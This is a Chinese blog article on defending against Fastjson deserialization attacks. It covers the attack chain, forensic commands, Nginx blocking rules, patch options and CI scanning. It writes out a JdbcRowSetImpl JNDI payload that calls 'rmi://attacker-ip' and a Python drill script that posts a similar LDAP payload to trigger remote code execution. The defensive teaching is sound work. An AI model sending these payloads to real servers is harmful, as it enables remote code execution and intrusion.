三亩地 三亩地SAN MU DI · CODE DIARY
ARTICLE DETAIL

日记详情

真实记录编程学习的某一天,欢迎挑你感兴趣的翻一翻。

从一次内部红队演练看Fastjson漏洞:Java安全工程师的排查与修复笔记

从一次内部红队演练看Fastjson漏洞:Java安全工程师的排查与修复笔记

从红队视角到蓝队实战:Fastjson反序列化漏洞的攻防全景解析

凌晨3点17分,安全运维工程师李工的手机突然响起刺耳的警报声。监控系统显示,生产环境的一台核心服务器正在向境外IP发起异常连接。一场围绕Fastjson反序列化漏洞的攻防战役就此打响——这不仅是技术对抗,更是对应急响应体系的全面检验。

1. 漏洞攻击链的逆向拆解

当安全警报响起时,蓝队成员需要像侦探一样还原攻击者的完整作案路径。通过分析我们经手的37起Fastjson相关事件,攻击者通常遵循以下典型流程:

  1. 侦察阶段

    • 扫描开放8080/8090等非标准Web端口
    • 探测/api/v1/json等常见REST端点
    • 发送测试Payload确认Fastjson版本
  2. 漏洞利用阶段

    { "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://attacker-ip:1099/Exploit", "autoCommit":true }

    这是最常见的攻击Payload结构,利用JNDI注入实现RCE

  3. 横向移动阶段

    • 通过内存马维持权限
    • 窃取AWS/Aliyun临时凭证
    • 利用Jenkins等CI/CD工具扩散

关键取证点

  • Web日志中的异常Content-Type切换(如从x-www-form-urlencoded突然变为application/json
  • 出站连接日志中突然出现的RMI/LDAP协议连接
  • /tmp目录下异常生成的.class文件

2. 蓝队应急响应六步法

2.1 异常行为确认

通过SIEM系统提取以下关键指标:

# 查询过去1小时内的异常出站连接 grep "ESTABLISHED" /var/log/secure | awk '{print $5}' | sort | uniq -c | sort -nr # 检查最近修改的Java类文件 find / -name "*.class" -mtime -1 -exec ls -la {} \;

2.2 漏洞点定位

使用开源工具快速扫描:

# 使用fastjson-blacklist检测 java -jar fastjson-scanner.jar -t http://target:8080/api # 流量镜像分析 tcpdump -i eth0 -w fastjson.pcap port 8090

2.3 临时阻断措施

立即实施网络层防护:

# Nginx紧急规则 location ~* \.(json|ajax)$ { if ($http_content_type = "application/json") { set $block 1; } if ($arg_type) { set $block "${block}1"; } if ($block = 11) { return 403; } }

2.4 漏洞修复方案

根据业务场景选择不同防护策略:

方案类型实施方法优点缺点
版本升级升级到1.2.83+彻底解决需要回归测试
黑白名单配置safeMode零成本可能误拦截
RASP防护安装OpenRASP实时防御性能损耗

2.5 后门排查清单

  1. 检查crontab异常任务
  2. 审计SSH authorized_keys
  3. 扫描Webshell文件:
    find /var/www -name "*.jsp" -exec grep -l "Runtime.getRuntime()" {} \;

2.6 加固建议

"在最近为某金融客户实施的加固方案中,我们采用了分层防御策略:"

  • 网络层:限制出站RMI/LDAP连接
  • 应用层:强制使用Jackson替代Fastjson
  • 系统层:部署eBPF实现行为监控

3. 企业级防护体系构建

3.1 开发阶段管控

在CI流水线中集成安全检测:

# GitLab CI示例 fastjson_scan: stage: test image: owasp/sonarqube script: - java -jar fastjson-scanner.jar -p ./src rules: - if: $CI_PIPELINE_SOURCE == "merge_request_event"

3.2 运行时防护矩阵

构建四层防御体系:

  1. 边界防护:WAF自定义规则
  2. 应用防护:RASP拦截危险行为
  3. 主机防护:HIDS监控进程行为
  4. 网络防护:NIDS检测异常协议

3.3 红蓝对抗演练方案

设计专项演练场景:

# 模拟攻击脚本示例 import requests headers = { "Content-Type": "application/json" } payload = { "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://blue-team-test:1389/Exploit", "autoCommit":True } } response = requests.post( "http://target:8080/api", json=payload, headers=headers )

4. 从漏洞看架构安全

在微服务架构下,JSON序列化漏洞的影响会被指数级放大。某电商平台的案例显示,攻击者通过一个边缘服务的Fastjson漏洞,最终渗透进了包含支付系统的VPC网络。这暴露出三个架构级问题:

  1. 过度信任内部服务
    没有实施服务间双向TLS认证

  2. 缺乏分段隔离
    所有微服务部署在同一安全组

  3. 配置同质化
    全站使用相同版本的Fastjson

改进方案

  • 实施零信任网络架构
  • 按敏感程度划分安全域
  • 建立组件级漏洞管理台账

在一次真实的攻防演练中,红队仅用15分钟就通过Fastjson漏洞拿下了目标的域控制器。而蓝队直到演练结束都未能有效遏制横向移动。这个案例告诉我们:现代安全防御必须建立在对攻击者思维的理解之上。

← 返回列表